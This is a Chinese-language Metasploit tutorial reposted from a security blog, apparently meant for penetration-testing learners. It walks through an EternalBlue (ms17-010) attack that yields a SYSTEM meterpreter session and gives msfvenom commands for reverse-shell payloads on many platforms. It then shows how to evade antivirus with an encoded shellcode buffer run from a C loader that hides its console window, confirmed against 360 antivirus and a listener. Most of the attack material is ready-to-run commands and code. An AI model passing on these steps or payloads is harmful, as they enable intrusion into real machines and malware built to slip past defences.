MSF的使用教程


公眾號:白帽子左一 

本文僅用於技術討論,禁止用於違法途徑

MSF簡介

Metasploit(MSF)是一個免費的、可下載的框架,通過它可以很容易地獲取、開發並對計算機軟件漏洞實施攻擊。它本身附帶數百個已知軟件漏洞,是一款專業級漏洞攻擊工具。

當H.D. Moore在2003年發布Metasploit時,計算機安全狀況也被永久性地改變了,仿佛一夜之間,任何人都可以成為黑客。因為只要掌握MSF的使用方法,每個人都可以使用MSF來攻擊那些未打過補丁或者剛剛打過補丁的漏洞。也因此軟件廠商再也不能推遲發布針對已公布漏洞的補丁了,因為Metasploit團隊一直都在努力開發各種攻擊工具,並將它們貢獻給所有Metasploit用戶。

MSF安裝介紹

MSF官網:https://www.metasploit.com/

MSF有兩個版本,Metaploit是開源免費的,Metaploit pro的商業收費的,這里我們用免費的社區版就可以了

MSF下載地址:https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

MSF安裝

(1)一鍵式安裝

在Linux / macOS上安裝Metasploit,這里有官方提供的腳本,可以一鍵式安裝

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

(2)手動安裝

注意:如果上面方法不可行,也可以進行手動安裝

Debian / Ubuntu軟件包位於https://apt.metasploit.com,而CentOS / Redhat / Fedora軟件包位於https://rpm.metasploit.com

ubuntu安裝
https://apt.metasploit.com/下載MSF 的deb安裝包。
在終端運行:dpkg -i metasploit-framework_6.0.7+20200916102431_1rapid7-1_amd64.deb
就已經安裝好了,數據庫的安裝看上面的步驟

Centos安裝
https://rpm.metasploit.com下載 rpm安裝包
在終端運行:rpm-i metasploit-framework-6.0.7+20200916102441~1rapid7-1.el6.x86_64.rpm

安裝完成

安裝postgresql數據庫

msf使用的是postgresql數據庫,如果沒有的話需要先安裝

安裝數據庫的時候會自動創建系統用戶postgres,數據庫用戶postgres,數據庫postgres

1apt-get install postgresql //安裝postgresql數據庫

2su - postgres //切換到postgres用戶

3psql //登陸postgresql數據庫,首次登陸沒有密碼

4\password postgres //修改數據庫用戶postgres的密碼

msf更新命令:

sudo msfupdate

msf使用數據庫

1msfconsole //啟動msf

2db_connect postgres:hehehe@127.0.0.1/test //用戶名,密碼,地址,自己隨意編造的名字。

3db_status //查看數據庫連接狀態

MSF的功能模塊介紹

MSF所用功能主要可分為這幾個模塊,每個模塊都有各自的功能領域,形成了滲透測試的流程

1、Auxiliary(輔助模塊)
為滲透測試信息搜集提供了大量的輔助模塊支持
2、Exploits(攻擊模塊)
利用發現的安全漏洞或配置弱點對遠程目標系統 進行攻擊,從而獲得對遠程目標系統訪問權的代碼組件。
3、Payload(攻擊載荷模塊)
攻擊成功后促使靶機運行的一段植入代碼
4、Post (后滲透攻擊模塊)
收集更多信息或進一步訪問被利用的目標系統
5、Encoders(編碼模塊)
將攻擊載荷進行編碼,來繞過防護軟件攔截

MSF的基本使用方法

例如攻擊永恆之藍:

開啟數據庫:service postgresql start

初始化msf數據庫:msfdb init

開啟MSF:msfconsole

這里我們拿永恆之藍這個漏洞進行簡單的使用

首先要保證是能夠訪問到目標機器的,那么我們先ping一下目標機器,看網絡是否連通

此時是連通的狀態

永恆之藍的漏洞編號:ms17-010

根據漏洞名稱搜索 : search ms17_010

1、運用輔助模塊掃描目標

設置模塊:use auxiliary/scanner/smb/smb_ms17_010

查看設置:options

設置目標地址:set rhosts 192.168.174.129

目標端口默認是445,如果用nmap端口掃描windows文件共享服務不是開放在445端口上面,那這里需要進行修改,set rport 目標端口

設置好了之后,run或者exploit 進行攻擊

綠色的加號為可攻擊

2、設置攻擊模塊對目標進行攻擊

使用攻擊模塊:use exploit/windows/smb/ms17_010_eternalblue

查看所需設置:options

設置目標地址:set RHOSTS 192.168.174.129

設置目標端口:set RPORT 445

設置payload:set payload windows/x64/meterpreter/reverse_tcp

設置本地地址:set LHOST 192.168.174.192

攻擊:run或者exploit

攻擊成功,成功拿到會話

注意:存在一定機率將目標機器打成藍屏或者重啟

查看目前權限

系統權限,想干什么都可以了~

MSF后門生成模塊

Msfvenom常用命令參數

  1. -l, --list <type>
  2. # 列出所有可用的項目,其中值可以被設置為 payloads, encoders, nops, platforms, archs, encrypt, formats等等
  3. -p, --payload <payload>
  4. # 指定特定的 Payload,如果被設置為 - ,那么從標准輸入流中讀取
  5. --list-options
  6. # 列出--payload <value> 的標准,高級和規避選項
  7. -f, --format <format>
  8. # 指定 Payload 的輸出格式(使用 --list formats 列出)
  9. -e, --encoder <encoder>
  10. # 指定使用的 Encoder (使用 --list encoders 列出)
  11. --sec-name <value>
  12. # 生成大型Windows二進制文件時使用的新名稱。默認值:隨機4個字符的字符串
  13. --smallest
  14. # 使用所有可用的編碼器生成最小的payload
  15. --encrypt <value>
  16. # 應用於shellcode的加密或編碼類型 (使用--list encrypt 列出)
  17. --encrypt-key <value>
  18. # 用於加密的密鑰
  19. --encrypt-iv <value>
  20. # 加密的初始化向量
  21. -a, --arch <arch>
  22. # 指定目標系統架構(使用 --list archs 列出)
  23. --platform <platform>
  24. # 指定目標系統平台 (使用 --list platforms 列出)
  25. -o, --out <path>
  26. # 保存payload文件
  27. -b, --bad-chars <list>
  28. # 設置需要在 Payload 中避免出現的字符,如: '\x00\xff'
  29. -n, --nopsled <length>
  30. # 指定 nop 在 payload 中的數量
  31. -s, --space <length>
  32. # 設置未經編碼的 Payload 的最大長度
  33. --encoder-space <length>
  34. # 編碼后的 Payload 的最大長度
  35. -i, --iterations <count>
  36. # 設置 Payload 的編碼次數
  37. -c, --add-code <path>
  38. # 指定包含一個額外的win32 shellcode文件
  39. -x, --template <path>
  40. # 指定一個特定的可執行文件作為模板
  41. -k, --keep
  42. # 保護模板程序的功能,注入的payload作為一個新的進程運行
  43. -v, --var-name <value>
  44. # 指定一個變量名(當添加 -f 參數的時候,例如 -f python,那么輸出為 python 代碼, payload 會被按行格式化為 python 代碼,追加到一個 python 變量中,這個參數即為指定 python 變量的變量名)
  45. -t, --timeout <second>
  46. # 設置從STDIN讀取payload的等待時間(默認為30,0為禁用)
  47. -h, --help
  48. # 幫助

msfvenom生成shellcode

普通生成

  1. msfvenom -p 有效載荷 -f 輸出格式 -o 輸出文件
  2. msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

編碼生成

  1. msfvenom -a 系統架構 --platform 系統平台 -p 有效載荷 lhost=攻擊機IP lport=攻擊機端口 -e 編碼方式 -i編碼次數 -f 輸出格式 -o 輸出文件
  2. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

msfvenom —list archs #查看支持的系統架構

  1. aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch

msfvenom —list platforms #查看支持系統平台

  1. aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows

msfvenom -l payload #列出所有可用的payload

msfvenom -l formats #列出所有的輸出格式

msfvenom -l encrypt #列出所有的加密方式

msfvenom -l encoders #列出所有的編碼器

常見生成格式

1、 Windows

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

2、Linux

msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf

3、Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4、Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5、Aspx

msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6、JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7、PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8、BASH

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

9、Python

msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py

木馬如何免殺

木馬繞過免殺本質上還是更改他的特征碼,那么總結一下可以有

  1. 編碼
  2. 加殼免殺
  3. 二次編譯
  4. 分離免殺:即將ShellCode和加載器分離

目前msfvenom的encoder特征基本都進入了殺軟的漏洞庫,很難實現單一encoder編碼而繞過殺軟,所以對shellcode進行進一步修改編譯成了msf免殺的主流。互聯網上有很多借助於C、C#、python等語言對shellcode進行二次編碼從而達到免殺的效果。

第一步:安裝編譯軟件VC++6.0

第二步:生成一個常見的木馬

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.174.196 lport=1250 -f c

第三步、編譯c語言為exe文件

  1. #include "stdafx.h"
  2. #include <stdio.h>
  3. #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
  4. unsigned char buf[] =
  5. (這里放生成好的數組)
  6. main()
  7. {
  8. ((void(*)(void))&buf)();
  9. }

打開vc6.0,新建一個程序

選擇一個簡單的win32程序

打開a.app

將我們的代碼復制進去

編譯一下,看是否有問題

再編譯一下a.cpp

沒有問題的話,就可以組建a.exe了,這個文件就是我們要的木馬文件

第四步、測試是否成功

把得到的a.exe 復制到桌面,右鍵用360的木馬雲查殺功能試一下

成功繞過~

再測試一下我們的木馬是否有用,打開MSF開啟監聽

  1. 開啟監聽:msf5 > use exploit/multi/handler
  2. 設置payload,和生成的木馬保持一致:set payload windows/meterpreter/reverse_tcp
  3. 設置本地地址,和木馬一致:set lhost 192.168.174.196
  4. 設置本地端口,和木馬一致:set lport 1250

  1. msf5 exploit(multi/handler) > run

成功拿到會話了, 證明我們的木馬沒啥問題~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM